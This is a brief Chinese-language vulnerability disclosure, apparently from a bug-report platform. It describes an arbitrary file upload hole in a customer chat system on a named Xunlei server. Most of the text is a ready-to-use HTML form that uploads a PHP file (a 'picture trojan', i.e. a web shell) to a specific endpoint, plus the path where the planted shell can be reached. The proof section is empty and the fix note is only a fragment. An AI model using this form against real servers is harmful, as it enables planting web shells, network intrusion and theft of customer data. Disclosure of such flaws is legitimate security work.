http://icc.xunlei.com/5107/chat/chat.php
使用用友的客户系统，存在较多上传漏洞。由于服务器在内网，加上权限较大。或造成内部网络被渗透。数万客户资料同时泄露。
 
<form enctype="multipart/form-data" method="post" action="http://icc.xunlei.com/5107/upload/screenImagesSave.php?filename=php.php">
<input type="file" name="file">
<input type="submit" name="up" value="上传">
</form>
 
上传任意图片木马，即可正常上传成功。木马路径为：
http://icc.xunlei.com/data/files/20120506/php.php (20120506 当前日期)
 
看图吧：
 
漏洞证明：
 

 
 
修复方案：
内网。。。
作者 kobin97